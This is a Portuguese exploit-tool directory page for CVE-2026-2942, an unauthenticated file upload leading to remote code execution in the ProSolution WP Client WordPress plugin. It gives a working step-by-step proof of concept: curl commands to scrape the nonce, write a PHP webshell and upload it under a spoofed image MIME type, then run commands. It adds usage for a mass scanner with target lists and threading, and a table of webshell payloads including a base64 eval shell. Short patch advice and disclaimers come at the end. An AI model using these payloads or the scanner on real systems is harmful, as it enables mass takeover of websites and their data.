Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-2942 — Scanner automatizado para upload arbitrário de arquivos não autenticado e execução remota de código no ProSolution WP Client (CVE-2026-2942). Suporta varredura multi-thread, falsificação de MIME, verificação de shell e suporte a proxy para testes de penetração. | Kitploit
Ferramentas/GitHubGitHub/xxconi/cve-2026-2942
Scanners de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubxxconi/cve-2026-2942

CVE-2026-2942

Scanner automatizado para upload arbitrário de arquivos não autenticado e execução remota de código no ProSolution WP Client (CVE-2026-2942). Suporta varredura multi-thread, falsificação de MIME, verificação de shell e suporte a proxy para testes de penetração.

Ver Repositório
há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

ProSolution WP Client — Scanner de Upload de Arquivo Não Autenticado e RCE

Plugin: prosolution-wp-client
Versão Afetada: <= 1.9.9
Tipo de Vulnerabilidade: Upload Arbitrário de Arquivo Não Autenticado → Execução Remota de Código
Nível de Risco: 🔴 Crítico (CVSS 9.8)
Requisito: Página pública contendo o shortcode [prosolfrontend]


📌 Sobre a Vulnerabilidade

A ação AJAX proSol_fileUploadProcess do plugin ProSolution WP Client verifica o tipo MIME dos arquivos enviados, mas não valida a extensão. Um atacante pode enviar um arquivo com extensão .php usando o tipo MIME image/jpeg, carregando um webshell no servidor sem autenticação.

Cadeia de Ataque

root@kitploit:~
[prosolfrontend] shortcode sayfası
        │
        ▼
1. prosolObj.nonce → public sayfadan çekilir (kimlik doğrulama gerekmez)
        │
        ▼
2. POST /wp-admin/admin-ajax.php
   action=proSol_fileUploadProcess
   security=<nonce>
   files[]=shell.php  (Content-Type: image/jpeg)  ← MIME Spoofing
        │
        ▼
3. /wp-content/uploads/prosolwpclient/[random].php olarak kaydedilir
        │
        ▼
4. GET /wp-content/uploads/prosolwpclient/[random].php?cmd=id
        │
        ▼
5. uid=33(www-data) → Unauthenticated RCE ✓

🧪 Prova de Conceito (Manual)

⚠️ Aviso Legal: Esta PoC é fornecida apenas para fins educacionais e de pesquisa de segurança defensiva. Use apenas em sistemas que você possui ou para os quais possui autorização escrita explícita para testar.

Pré-requisitos

  • WordPress instalado e o plugin prosolution-wp-client ativo (versão <= 1.9.9)
  • Uma página WordPress publicada contendo o shortcode [prosolfrontend]

Passo 1 — Obter o Nonce

Visite qualquer página pública que contenha o shortcode [prosolfrontend] e extraia o valor de prosolObj.nonce do código-fonte:

root@kitploit:~
TARGET="https://target.example.com"

NONCE=$(curl -s "$TARGET/jobs" \
  | grep -oP '"nonce"\s*:\s*"\K[^"]+')

echo "Extracted nonce: $NONCE"

Estrutura a ser procurada no código-fonte:

root@kitploit:~
<script id='prosolwpclient-public-js-extra'>
var prosolObj = {
    "ajaxurl": "https://target.example.com/wp-admin/admin-ajax.php",
    "nonce": "a1b2c3d4e5",
    ...
};
</script>

Passo 2 — Criar o PHP Webshell

root@kitploit:~
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php

Passo 3 — Upload com MIME Spoofing

Envie o arquivo .php com Content-Type image/jpeg:

root@kitploit:~
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -F "action=proSol_fileUploadProcess" \
  -F "security=$NONCE" \
  -F "files[]=@/tmp/shell.php;type=image/jpeg" \
  | python3 -m json.tool

Resposta esperada:

root@kitploit:~
{
  "files": [
    {
      "name": "shell.php",
      "size": 31,
      "url": "https://target.example.com/wp-content/uploads/prosolwpclient/shell.php",
      "newfilename": "a3f8b2c1d9e4f7g2.php",
      "rename_status": true,
      "extension": "php"
    }
  ]
}

"extension": "php" e "rename_status": true → arquivo .php salvo com sucesso.


Passo 4 — Acionar o RCE

root@kitploit:~
SHELL_FILE="a3f8b2c1d9e4f7g2.php"   # newfilename do Passo 3

curl -s "$TARGET/wp-content/uploads/prosolwpclient/$SHELL_FILE?cmd=id"

Saída esperada:

root@kitploit:~
uid=33(www-data) gid=33(www-data) groups=33(www-data)

✅ RCE não autenticado alcançado.


🛠️ Instalação do Scanner Automático

root@kitploit:~
git clone https://github.com/kullanici/prosol-upload-scanner
cd prosol-upload-scanner
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 Uso

Alvo Único

root@kitploit:~
python prosol_upload.py -u http://hedef.com

Com Verificação de Shell

root@kitploit:~
python prosol_upload.py -u http://hedef.com --verify --verify-cmd "whoami"

Varredura em Massa

root@kitploit:~
python prosol_upload.py -l targets.txt -t 20 -o sonuclar.txt

Com Proxy (Burp Suite)

root@kitploit:~
python prosol_upload.py -u http://hedef.com --proxy http://127.0.0.1:8080

Tipo de Shell Personalizado

root@kitploit:~
python prosol_upload.py -u http://hedef.com --shell-type full

⚙️ Parâmetros


💀 Tipos de Shell


📂 Localização do Upload do Shell

root@kitploit:~
Raiz do WordPress/
└── wp-content/
    └── uploads/
        └── prosolwpclient/
            └── [random_hex].php   ← Shell aqui

📊 Status de Saída do Scanner


🖥️ Exemplo de Saída do Scanner

root@kitploit:~
[*] 3 hedef | ProSolution File Upload | threads=10

[★ UPLOADED ] http://hedef1.com
  Shell URL : http://hedef1.com/wp-content/uploads/prosolwpclient/a3f8b2c1d9.php
  Yeni Ad   : a3f8b2c1d9.php  (renamed=True)
  [✓ RCE OK ] cmd çıktısı: uid=33(www-data) gid=33(www-data)

[- BLOCKED  ] http://hedef2.com  ext=jpeg
[~ TIMEOUT  ] http://hedef3.com

───────────────────────────────────────────────
  UPLOADED            :    1  █
  BLOCKED             :    1  █
  TIMEOUT             :    1  █
───────────────────────────────────────────────
  Yüklenen shell'ler → uploaded.txt
───────────────────────────────────────────────

🛡️ Defesa / Patch

Para o diretório uploads/, .htaccess:

root@kitploit:~
<FilesMatch "\.php$">
    Deny from all
</FilesMatch>

⚠️ Aviso Legal

Esta ferramenta e PoC foram preparadas apenas para uso em sistemas autorizados, para fins educacionais e dentro do escopo de testes de penetração.
O uso em sistemas não autorizados constitui crime de acordo com os Artigos 243-245 do Código Penal Turco e leis internacionais de crimes cibernéticos.
O desenvolvedor não assume nenhuma responsabilidade legal decorrente do uso indevido da ferramenta.


📄 Licença

Licença MIT — Apenas para fins educacionais e de pesquisa.

Baixar ferramenta
ParâmetroCurtoDescriçãoPadrão
--url-uURL de alvo único—
--list-lArquivo de lista de alvos—
--threads-tNúmero de threads10
--output-oArquivo de saídauploaded.txt
--shell-name—Nome do arquivo a ser enviadoshell.php
--shell-type—Tipo de shellsystem
--verify—Teste de RCE após uploadFalse
--verify-cmd—Comando de verificaçãoid
--proxy—URL do proxy—
--timeout—Timeout da requisição (s)10
TipoPayloadDescrição
system<?php system($_GET["cmd"]); ?>Comando básico do sistema
passthru<?php passthru($_GET["cmd"]); ?>Saída bruta
exec<?php echo exec($_GET["cmd"]); ?>Execução silenciosa
assert<?php assert($_POST["cmd"]); ?>Eval via POST
b64<?php eval(base64_decode($_POST["cmd"])); ?>Ofuscação Base64
fullshell_exec + system + exec fallbackShell completo (fallback)
StatusDescrição
★ UPLOADEDShell enviado com sucesso
✓ RCE OKShell verificado, comando executado
- BLOCKEDServidor bloqueou extensão PHP
~ TIMEOUTTimeout de conexão
~ CONN_ERRErro de conexão
! HTTP_ERRCódigo de erro HTTP
MedidaImplementação
Bloqueio de execução PHPAdicionar .htaccess no diretório uploads/
Atualização do pluginAtualizar para versão > 1.9.9 ou remover
Lista branca de extensõesApenas extensões permitidas no lado do servidor
Validação MIMEVerificação de conteúdo real com finfo_file()
Regra de WAFBloquear requisições de upload .php